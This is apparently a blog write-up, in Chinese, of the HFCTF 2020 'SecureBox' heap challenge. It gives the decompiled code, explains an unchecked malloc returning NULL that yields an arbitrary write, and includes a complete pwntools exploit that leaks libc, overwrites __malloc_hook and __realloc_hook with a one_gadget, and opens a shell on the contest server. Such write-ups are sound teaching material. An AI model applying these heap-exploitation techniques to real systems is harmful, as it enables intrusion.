HFCTF pwn: SecureBox

太菜了,MarksMan没有做出来,本地打通了结果远程打不通。后面去做SecureBox,看到Glibc 2.30以为需要了解一些新机制了可能做起来会有些吃力,结果发现还挺简单的。

题目描述

x64,保护全开:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

常规菜单题:

1
2
3
4
5
1.Allocate
2.Delete
3.Enc
4.Show
5.Exit
  • Allocate功能就是先malloc一块0x28的chunk,然后前0x10字节填充随机密钥,chunk[4]储存输入的size,chunk[3]储存根据输入的size来malloc的数据chunk:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    unsigned __int64 Allocate()
    {
    _QWORD *v0; // rbx
    unsigned int v2; // [rsp+4h] [rbp-2Ch]
    int i; // [rsp+8h] [rbp-28h]
    int j; // [rsp+Ch] [rbp-24h]
    unsigned __int64 size; // [rsp+10h] [rbp-20h]
    unsigned __int64 v6; // [rsp+18h] [rbp-18h]

    v6 = __readfsqword(0x28u);
    v2 = -1;
    for ( i = 0; i <= 15; ++i )
    {
    if ( !chunk_array[i] )
    {
    v2 = i;
    break;
    }
    }
    if ( v2 == -1 )
    {
    puts("No boxes available!");
    }
    else
    {
    puts("Size: ");
    size = choice();
    if ( size > 0x100 && (unsigned int)size <= 0xFFF ) // size can be very large
    {
    chunk_array[v2] = malloc(0x28uLL);
    *((_QWORD *)chunk_array[v2] + 4) = size; // very large number
    v0 = chunk_array[v2];
    v0[3] = malloc(size); // return 0 here
    memset(chunk_array[v2], 0, 0x14uLL);
    read_rand_data(chunk_array[v2]);
    puts("Key: ");
    for ( j = 0; j <= 15; ++j )
    printf("%02x ", *((unsigned __int8 *)chunk_array[v2] + j));
    printf("\nBox ID: %d\n", v2);
    }
    puts("Finish!");
    }
    return __readfsqword(0x28u) ^ v6;
    }
  • Deletefree得很彻底:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    unsigned __int64 Delete()
    {
    unsigned __int64 v1; // [rsp+0h] [rbp-10h]
    unsigned __int64 v2; // [rsp+8h] [rbp-8h]

    v2 = __readfsqword(0x28u);
    puts("Box ID: ");
    v1 = choice();
    if ( v1 > 0xF )
    {
    LABEL_7:
    puts("Finish!");
    return __readfsqword(0x28u) ^ v2;
    }
    if ( chunk_array[v1] )
    {
    if ( *((_QWORD *)chunk_array[v1] + 3) )
    {
    free(*((void **)chunk_array[v1] + 3));
    *((_QWORD *)chunk_array[v1] + 3) = 0LL;
    }
    free(chunk_array[v1]);
    chunk_array[v1] = 0LL;
    goto LABEL_7;
    }
    puts("Empty Box!");
    return __readfsqword(0x28u) ^ v2;
    }
  • Enc功能对输入的index对应的chunk中储存的数据chunk进行编辑,逻辑为输入相应的offsetlength,以及data,然后在数据chunk的对应的offset写入length长度的加密的data,这里的加密其实就是使用在Allocate功能中产生的随机0x10字节的密钥进行异或。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    unsigned __int64 Enc()
    {
    unsigned __int64 i; // [rsp+8h] [rbp-38h]
    unsigned __int64 v2; // [rsp+10h] [rbp-30h]
    unsigned __int64 v3; // [rsp+18h] [rbp-28h]
    unsigned __int64 v4; // [rsp+20h] [rbp-20h]
    unsigned __int64 v5; // [rsp+28h] [rbp-18h]
    unsigned __int64 v6; // [rsp+30h] [rbp-10h]
    unsigned __int64 v7; // [rsp+38h] [rbp-8h]

    v7 = __readfsqword(0x28u);
    puts("Box ID: ");
    v2 = choice();
    if ( v2 > 0xF )
    {
    LABEL_9:
    puts("Finish!");
    return __readfsqword(0x28u) ^ v7;
    }
    if ( chunk_array[v2] )
    {
    puts("Offset of msg: ");
    v3 = choice();
    if ( *((_QWORD *)chunk_array[v2] + 4) > v3 ) // *((_QWORD *)chunk_array[v2] + 4) is large here
    {
    puts("Len of msg: ");
    v4 = *((_QWORD *)chunk_array[v2] + 4) - v3;
    v5 = choice();
    if ( v5 <= v4 )
    {
    puts("Msg: ");
    read_data(*((_QWORD *)chunk_array[v2] + 3) + v3, (unsigned int)v5);
    v6 = *((_QWORD *)chunk_array[v2] + 3) + v3;
    for ( i = 0LL; i < v5; ++i )
    *(_BYTE *)(v6 + i) ^= *((_BYTE *)chunk_array[v2] + (i & 0xF));
    }
    }
    goto LABEL_9;
    }
    puts("Empty Box!");
    return __readfsqword(0x28u) ^ v7;
    }
  • Show功能打印给定index对应chunk中的数据chunk中的数据,根据提供的offsetlength
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    unsigned __int64 Show()
    {
    unsigned __int64 v0; // ST10_8
    void *dest; // ST20_8
    unsigned __int64 v3; // [rsp+0h] [rbp-30h]
    unsigned __int64 v4; // [rsp+8h] [rbp-28h]
    unsigned __int64 n; // [rsp+18h] [rbp-18h]
    unsigned __int64 v6; // [rsp+28h] [rbp-8h]

    v6 = __readfsqword(0x28u);
    puts("Box ID: ");
    v3 = choice();
    if ( v3 <= 0xF )
    {
    if ( chunk_array[v3] )
    {
    puts("Offset of msg: ");
    v4 = choice();
    if ( *((_QWORD *)chunk_array[v3] + 4) > v4 )
    {
    puts("Len of msg: ");
    v0 = *((_QWORD *)chunk_array[v3] + 4) - v4;
    n = choice();
    if ( n <= v0 )
    {
    dest = calloc(n + 32, 1uLL);
    memcpy(dest, (const void *)(*((_QWORD *)chunk_array[v3] + 3) + v4), n);
    puts("Msg: ");
    puts((const char *)dest);
    }
    }
    }
    else
    {
    puts("Empty Box!");
    }
    }
    return __readfsqword(0x28u) ^ v6;
    }

利用思路

  • 先利用unsorted bin来leak出libc的地址。
  • 之后关键利用点就在于:
    • Allocate功能:其中Allocate的对size的检查逻辑if ( size > 0x100 && (unsigned int)size <= 0xFFF )使得size可以是形如0x00FFFFFF00000000的很大的数,而进行相应的malloc操作时,会因为size过大而返回NULL也就是0,但是并没有对malloc的结果进行检查。
    • Enc功能:因为*((_QWORD *)chunk_array[v2] + 4)可以很大(就是输入的size)且*((_QWORD *)chunk_array[v2] + 3)=0(malloc返回的结果),加上没有对*((_QWORD *)chunk_array[v2] + 3)的检查,所以在控制offset为任意地址的情况下,即可以实现向任意地址写任意数据。
  • 根据上述漏洞,首先Allocate一个size为0x00FFFFFF00000000(覆盖所有地址均可)的chunk(返回0),记录生成的key
  • Enc前一步申请的chunk,offset设置为__realloc_hook的地址,length的值为0x10。
  • (libc_realloc + 10) << 64) | one_gadgetkey加密(逐字节异或)得到payload,将payload作为输入的data,这样可以将__malloc_hook写入__libc_realloc+10__realloc_hook写入onegadget,目的是调整栈以满足[rsp]+0x70的约束然后打onegadget。(这里这么做是因为直接改__free_hooksystem打不通,直接改__malloc_hook也满足不了约束,所以用__libc_realloc来调整栈。)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *

p = remote('39.97.210.182', 19806)

elf = ELF("./chall_2")
libc = ELF("./libc_64.so.6")

context.log_level = "debug"

def add(size):
p.sendlineafter("5.Exit", "1")
p.sendlineafter("Size: ", str(size))

def delete(index):
p.sendlineafter("5.Exit", "2")
p.sendlineafter("Box ID: ", str(index))

def edit(index, offset, length, content):
p.sendlineafter("5.Exit", "3")
p.sendlineafter("Box ID: ", str(index))
p.sendlineafter("Offset of msg: ", str(offset))
p.sendlineafter("Len of msg: ", str(length))
p.sendafter("Msg: ", content)

def view(index, offset, length):
p.sendlineafter("5.Exit", "4")
p.sendlineafter("Box ID: ", str(index))
p.sendlineafter("Offset of msg: ", str(offset))
p.sendlineafter("Len of msg: ", str(length))
p.recvuntil("Msg: \n")

def enc(content, key):
value = 0

for i in range(16):
value |= ((content & 0xFF) ^ key[i]) << (i * 8)
content >>= 8

return p64(value & 0xFFFFFFFFFFFFFFFF) + p64(value >> 64)

main_arena_offset = 0x1eab80
__malloc_hook_offset = libc.sym["__malloc_hook"]
realloc_offset = libc.symbols["realloc"]
one_gadget_offset = 0x10afa9

# leak libc
add(0x508) # chunk 0
add(0x108) # chunk 0
delete(0)
add(0x508) # chunk 0
view(0, 0, 8)
main_arena = u64(p.recv(6).ljust(8, "\x00"))
libc_base = main_arena - main_arena_offset - 0x60
libc_realloc = libc_base + realloc_offset
__malloc_hook = libc_base + __malloc_hook_offset
one_gadget = libc_base + one_gadget_offset

# larget size
add(0xFFFFFF00000000) # chunk 2

# write __malloc_hook
p.recvuntil("Key: ")
keys = p.recv(48)
key = []
for i in range(0, len(keys), 3):
print(keys[i:i+3])
key.append(int(keys[i:i+3], 16))
edit(2, str(__malloc_hook - 8), 16, enc(((libc_realloc + 10) << 64) | one_gadget, key))

# __malloc_hook
add(0x108)

success(key)
success("libc_base: " + hex(libc_base))
success("libc_realloc: " + hex(libc_realloc))
success("__malloc_hook: " + hex(__malloc_hook))
success("one_gadget: " + hex(one_gadget))

p.interactive()

flag

flag{4b03fb45856021f3415e6451f6cf855d}

Author: Nop
Link: https://n0nop.com/2020/04/20/HFCTF-pwn-SecureBox/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.